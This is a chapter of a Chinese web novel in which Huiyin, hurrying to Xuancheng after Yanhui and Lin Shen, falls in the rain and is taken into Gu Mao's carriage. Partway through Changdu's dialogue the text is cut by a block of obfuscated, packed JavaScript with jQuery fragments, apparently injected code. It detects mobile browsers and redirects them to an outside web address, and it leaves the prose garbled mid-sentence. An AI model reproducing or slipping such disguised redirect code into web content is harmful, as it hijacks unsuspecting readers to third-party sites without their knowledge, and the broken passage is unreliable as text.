徽音没有疯,她只是猜出了林慎与雁回具体的所在地——
当是在宣城的某个凶肆里。
--
吕渝说的没错,林慎用来写信的纸是黄裱纸,但却不是寺庙及祭祀用来烧的黄裱纸。
用于烧的,为取吉祥意,此类黄纸燃时需收缩呈卷状,纸灰轻盈,易飘升空[1],故而多为加了姜黄的竹浆制成的姜黄纸,轻薄,软塌;而林慎用的这个,纸张更挺括,更似了“染以黄柏”的黄麻纸,为苘麻制成。
既制法不同,也各有名字,本该分开了叫。
可都是黄颜色的纸,不懂行的哪里容易分得清,混淆久了,民间里便都统一叫了黄裱纸。
然而门外汉是门外汉,懂内里的却不敢混。
尤其是办丧葬的凶肆铺。
在他们的规矩里,姜黄纸多用来烧,可出售;黄麻纸却是用来批殃榜的,不可售。也因着这个,凶肆铺几乎都会给批殃榜的黄麻纸打上记,印上自家名号。
而徽音会知道这些,也是年前为了给苏母风风光光地办一场,许多事都是亲力亲为,这才弄清了里头的门道。
所以当看到林慎寄往林家的黄纸上打了记,她便知能从这记号寻到人。至于为何不像王氏那样问清了才动身,是因她怕赶不及。
今日已是三月初四,距离清明只剩了六天,而同化距宣城,有三百多公里,就算快马加鞭,也得费个两三日,根本等不及与林家人一道坐更慢的马车。毕竟一个城里的凶肆铺也就两三家,且大多还开在挨着香烛铺的主干街,只要进了城,再与当地人打听那重台莲,得到的信息怎么着也比在同化的更多,更准确,找到人也只会更迅速。
想着雁回一定不能跟着林慎一块儿出事,徽音手里的鞭子甩得更紧了。
--
同一时间,同一条去宣城的路,一马车跟在徽音后面,远远地出了城。而这场突如其来的雨,也随了今夜不知多少人的焦灼心情,一直淅淅沥沥到天明。
天光亮时,丛林里,一路前行的车在拐上条泥泞道后,突停了。
常度拉住马,朝里唤:“主子!”
他嗓音很急,像是遇上了什么棘手的事,顾懋睁开才将浅寐的眼,沉声问:“如何?”
外面又传来:“苏娘子瞧着是摔了。”
顾懋摆正斜倚的身,漫不经心:“摔了再爬起了就是。”
可常度不放心:“我看她周遭的坑,蓄了好多水,像是摔了有一会儿了。”
话刚落,门帘子被掀开,现出张微白的脸。
冷峻眉轻压,深邃眼紧凝,整个儿瞧着淡寡寡的,好似女娲精心捏出的面偶人,忘了上色,连唇都挤不出半点红。
人也懒,支出了头还要靠在门框上,只那双狭长的眸,费了力气,深深地看去前方。
如常度所说的一样,徽音果然摔在了泥地上。人趴着,面压着,手脚没动,浸重了的蓑衣也没动。
常度转了头去问:“我们可要捎上她一道儿?”
与徽音目的相同,他们此番也是要去宣城找林慎。
那日王诠与薛贯在花楼里说的那些话,樊嬷嬷的人没摸清,顾懋的人倒是听全了,当下便跟在了商队后面,紧盯上了林慎。
都是盯,但市面上雇来的探子哪里有经了严密训练的暗卫的素质好。
尽管薛贯千叮咛万嘱咐一定要把林慎看牢了,可到了第三天的晚上,这些探子们还是没熬住,与守家的狗,一同睡了去,再醒来,便没见了林慎的影。
暗卫们呢,以为抢在商队的前头跟上了林慎踪迹,就能抢先拿了那账本。
然而没想王诠没说错,这林慎就是个呆木头,不仅老实巴交地没去看那黑布裹着的物,就连来取的人也要仔仔细细地盘上一圈底。
还问了个什么“王婆卖瓜”的暗语。
可这他们哪里知道!
他们都只练了身体,没练脑袋,也没听了王诠说。最后抓耳挠腮,只能胡乱对了个。
当然,这显然是没过,账本自然也是没拿到。
无法,只能又暗地里偷偷地跟了林慎去宣城盯着,并与顾懋写了张条子,汇报了前后经过,请其亲来。
常度问出的话,飘飘地在风雨里打了好几个转儿,都没能得上顾懋的答。
他又转了头去看人。
还是那样冷的眉,还是那样邃的眼,深深地凝着前面地上的人,不知在想些什么。
他又急急道:“苏娘子这么久了都没动,怕是摔晕了。而摔晕了,她面又朝下,只怕要给呛出问题来……”
终于,门框边的人喉头动了动,朗声道:“走吧,去看看。”
--
然而徽音,没有晕。
她只是被心底涌出的急躁给攫住了,忘了动,也忘了痛。
骑马来的这一路,她无时无刻都不在想,要是雁回跟着林慎真出事了怎么办;要是她仍改不了他早死的命运又该怎么办。
明明他都已经避开了烧傻,明明他们都已经在向好。
为什么……
为什么她对雁回没有再上心一点,为什么她就不能像负鼠一样,时时刻刻背着,时时刻刻将人盯着。
是不是她要早些这般做了,便不会出现如今这样的意外,过了这么久才晓得雁回偷跟着林慎去了宣城。
自责也跟着涌上了头。
徽音难受极了,想就这样一直趴在泥里,想一直就这样淋在雨里……将那没脸流的眼泪,好好地藏起。
可是老天又跑来了与她做对。
与阿枝死的那天一样,明明下了一整夜的雨,却非要在她最难受的时候停下。
徽音攥紧拳,捶住地,也抬了头,只是她眼里那份对穹空的恼怒还没能抒出,便又愣愣地转成了茫然。
茫然灰扑扑的天怎么变成了水雾雾的伞。
也茫然被骂了的顾懋怎么会给骂了他的她撑伞。
常度跟不上顾懋的大步子,深一脚浅一脚地追在后头。急忙忙赶到时,恰好见了徽音睁着一双圆眼睛,他惊喜:“太好了,原来苏娘子你没晕。”又赶紧道出建议:“我瞧这雨一时半会儿停不了,且觉着还要越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353292|199653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下越大,苏娘子你要不嫌弃,可先来我们的车上坐一会儿。”
这是个好提议,但却不是对徽音。
延善寺的事才不过过去了大半月,徽音这个发怒的忘不了,那顾懋这个被迁怒的只会更加忘不了。让两个生了嫌隙的坐一处,不管是谁都别扭。
可要真拒绝,她又不太想。
她的马没了,要真拒了常度,她还不知要在这地儿待多久。加上现在又起风了,风冷,雨冷,她身体泡了水,更是冷。不说一直在他们车上坐,就一会儿,就在他们车上坐一会儿,就不说话地缓一缓,驱一驱寒,当该是可以的吧?
徽音就这样想着,纠结着,眼睛一动不动,身体也一动不动。
可明明都没动,但不知怎的,顾懋就是看出了她心里的那一丝松动。
于是,他偏过头,去看常度,语气里带了自己都没察觉出的促狭逗.弄,“走吧。”他说:“看来苏娘子是不想与我这个险些成了千古罪人的人,坐一处了。”
呼——
徽音很长地舒了一口气。
果然,她那天生气说的那些话,顾懋一点儿都没忘!
又见对方真的转了身要走,她忙出声:“等等……”
最终,徽音如常度提议的那样,上了他们的马车。
她脱了罩在最外边的滴水的蓑衣,坐到了顾懋另一边一人座的软垫。
车厢的空间不算大,堪堪塞下两人。两人相对着,膝头磨着膝头。怕自己的凉气渡了去,悄悄地,徽音往外侧了侧。
但因靠着门,她这一动,半个膝尖就伸出了车外,被外头的沾着水的冷风一摸,密密麻麻地又生出了一片疙瘩,打出个寒战。
顾懋就在她边上,自也瞧见了,脚尖微动,座下一个还阴着火的小炉子便轻轻慢慢地移去了对面。
徽音正抖着,腿边突贴了个暖烘烘的东西。散着溶溶热气,一点儿一点儿地灌满了她这个冰罐子,也让她差点冻僵的四肢,渐渐松解下来。
车子里就两人,是谁在暗中动作,不言而喻。
“多谢。”徽音移了眼,看向顾懋,轻轻浅浅地与他道了一声谢。
本想着对面的人愿意让了她上车,该是没太生那天的气,现下她又再说了谢,算是能稀里糊涂地把那天的不喜给揭过了吧。
然而,是她想得太开了。
就在移去目光的那一刻,徽音对上了顾懋斜睨来的眼,冷幽幽的,凉飕飕的,比他清冽的嗓子还割人。
然后,她听到他说:“担不得,只要没再气着苏娘子就好。”
豁——
还是她那天说过的话。
果然,她当知道的,顾懋这人最是斤斤计较,小肚鸡肠!
没办法,自己口里惹出的祸只能由了她自己的口来补。
徽音深吸进一口气,赔出笑:“顾大人,延善寺那天的事,是我口不择言了,还望您大人有大量,莫与我这个头发长见识短的小娘子一般见识。”
-
注1:出自《古纸纸名研究与讨论之十│明代纸名(中)》